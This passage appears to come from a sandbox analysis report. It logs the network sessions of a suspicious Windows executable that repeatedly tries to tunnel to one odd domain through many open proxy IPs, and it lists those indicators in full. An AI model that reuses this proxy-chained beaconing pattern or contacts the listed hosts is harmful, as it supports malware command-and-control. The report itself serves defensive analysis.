Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1504	192.168.2.9	50129	187.63.9.62	63253	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.158312082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1505	192.168.2.9	54892	104.21.102.95	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.159231901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.313854933 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1506	192.168.2.9	54893	185.238.228.240	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.159574032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.313941956 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1507	192.168.2.9	53070	171.247.245.221	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.160715103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1508	192.168.2.9	50204	170.247.43.142	32812	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.163300991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1509	192.168.2.9	54897	172.67.181.51	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.163404942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.317795992 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1510	192.168.2.9	55021	81.143.236.200	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.166637897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1511	192.168.2.9	55022	81.143.236.200	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.167884111 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1512	192.168.2.9	55026	81.143.236.200	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.170736074 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1513	192.168.2.9	55029	81.143.236.200	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.172080040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1514	192.168.2.9	53413	74.119.147.209	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.174367905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1515	192.168.2.9	53035	103.49.114.195	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.179645061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1516	192.168.2.9	54930	104.20.51.99	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.182714939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.337308884 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1517	192.168.2.9	54694	102.132.50.6	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.258807898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1518	192.168.2.9	54854	116.50.174.181	17066	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.269798040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.042695045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.200550079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.200629950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.200429916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:21.091108084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:24.999989986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:32.887574911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:48.450012922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1519	192.168.2.9	54843	79.110.202.131	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.269798994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1520	192.168.2.9	54881	121.159.146.251	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.275927067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1521	192.168.2.9	54853	177.135.83.244	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.276015043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1522	192.168.2.9	54300	195.25.20.108	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.276015043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1523	192.168.2.9	54901	181.143.61.123	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.276612997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1524	192.168.2.9	54949	162.159.242.8	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.276612997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.438200951 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1525	192.168.2.9	54886	87.106.114.124	6005	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.280891895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1526	192.168.2.9	54883	85.25.103.138	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.281739950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1527	192.168.2.9	54957	185.162.230.201	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.288069010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.442267895 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1528	192.168.2.9	54183	177.38.5.16	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.288652897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1529	192.168.2.9	54875	216.9.224.113	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.300260067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1530	192.168.2.9	54965	64.202.186.2	1258	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.300357103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.903352976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.403822899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1531	192.168.2.9	54884	125.107.149.245	5555	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.309340954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1532	192.168.2.9	55009	172.67.25.204	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.310883045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.465298891 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1533	192.168.2.9	54877	202.162.219.10	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.311809063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1534	192.168.2.9	54891	196.20.125.129	8083	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.312442064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
